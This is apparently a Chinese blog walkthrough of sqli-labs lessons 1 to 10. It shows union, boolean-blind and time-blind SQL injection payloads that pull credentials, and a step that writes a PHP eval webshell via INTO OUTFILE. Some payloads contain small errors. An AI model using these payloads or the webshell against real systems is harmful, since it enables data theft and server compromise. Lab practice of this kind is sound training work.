sqli-labs

mysql基本用法

查库:

 select schema_name from information_schema.schemata;

查表:

select table_name from information_schema.tables where table_schema='security';

查列:

select column_name from information_schema.columns where table_name='users';

查字段:

select username,password from security.users;

函数
system_user()
user()
current_user()
database()
version()
@@datadir
@@version_compile_os
在这里插入图片描述在这里插入图片描述
group_concat():将所有的数据连接进行拼接之后作为一行进行显示。
concat_ws(‘~’,A,B):显示A ~ B

lesson-01

注入语句:

id=1'
SELECT * FROM users WHERE id='1' LIMIT 0,1;

LIMIT 0,1的含义:0代表偏移量(即0代表从第一个开始查询)1代表查询数据的条数,
?id=1’ 报错说明存在sql注入 ?id = 1asdf 不报错,说明是字符注入

SELECT * FROM users WHERE id='1' or 1=1-- ' LIMIT 0,1;

sql注释:- -+,- -空格,#,
order by 3 对第三列进行排序默认升序(esc)
?id=1’ order by 3- -+ 存在3列数据
?id=1’ union select 1,2,3- -+ 查询1,2,3都没有回显
?id=-1’ union select 1,2,3- -+ 修改id=-1,回显2,3
在这里插入图片描述
在这里插入图片描述
?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata–+
在这里插入图片描述
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+
在这里插入图片描述
'security’这样的操作会引入单引号的问题,所以将转换成16进制
在这里插入图片描述
这样’security’就转换为了0x7365637572697479。

?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273–+
‘users’ 转换成0x7573657273
在这里插入图片描述
?id=-1’ union select 1,2,group_concat(concat_ws(‘~’,username,password)) from security.users–+
在这里插入图片描述
总结
在这里插入图片描述

lesson-02

注入语句:

id=1

其余同上

?id=-1 union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users--+

0x7e为字符~

在这里插入图片描述

lesson-03

注入语句:

id=1)

其余同上

lesson-04

注入语句:

id=1'')

其余同上

lesson-05

注入点:

id=1'

补充基础知识:
在这里插入图片描述

当id=1正确显示you are in… ,id=100时不显示,则判断其为布尔型注入
在这里插入图片描述
在这里插入图片描述
由于只有you are in…一行,则不使用union select
在这里插入图片描述
使用蛮力爆破出数据库名称
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
布尔盲注:

?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
 
 
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
 
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
 
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
 
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
 
 
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。

lesson-06

注入点:

id=1''

其余同lesson-05

lesson-07

注入点:

?id=1))

一句话木马:

<?php @eval($_POST[" A "]);?> //其中A为密码

load_file():读取本地文件;eg-select load_file(’ ')
into outfile:写文件;
用法1-select ‘A’ into outfile ‘B’,将A写入B文件中;文件位置在D:\Xunlei_Downloads\phpstudy_pro\Extensions\MySQL5.7.26\data
用法2-select ‘A’ into outfile “直接写文件所在位置,注意要双斜杠以防被转义”
步骤:
1.查看是否有注入:?id=1’))
2.查看有多少列:order by 3–+
3.将一句话木马写入union select 1,2,’<?php @eval($_POST["crow"]);?> ’ into outfile"文件所在位置 "–+

http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) union select  1,2,'<?php @eval($_POST["crow"]);?>' into outfile 'D:\\Xunlei_Downloads\\phpstudy_pro\\WWW\\a.php' --+

4.使用中国菜刀访问或者打开蚁剑进行访问

lesson-08

if(condition,A,B):如果条件成立返回A,否则返回B;
sleep(num):表示延迟几秒
步骤:
法一布尔盲注
①查看是否有注入:less-8:?id=1’
②查看有多少列:order by 3–+
③通过二分法猜解得到所有的库:and ascll(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100–+
④通过二分法猜解得到security下的所有表:and ascll(substr((select table_name from information_schema.tables where table_schema=0xsecurity limit 1,1),1,1))>1–+
⑤通过二分法猜解users内的字段:and ascll(substr((select column_name from information_schema.columns where table_name=0xsecurity limit 1,1),1,1))>1–+
⑥通过二分法猜解得到字段内的值:and ascll(substr((select username from security.users limit 1,1),1,1))>1–+
法二时间盲注
①使用延迟的方法判断是否存在注入漏洞:?di=1’ and sleep(5)–+
②判断数据库长度:id=1’ and if(length(database())=8,1,sleep(5))–+当为8时加载很快,其它值时加载很慢,说明数据库长度为8
③id=1’ and if(ascll(substr((select database()),1,1))>113,1,sleep(5))–+如果当前数据库的第一个字母的ascll值大于113,立即返回结果,否则执行5秒,然后判断112……
④其余步骤与法一相同

lesson-09

第九关会发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
 
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
 
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
 
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
 
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。

lesson-10

第十关和第九关一样只需要将单引号换成双引号。

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

HypeRong

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值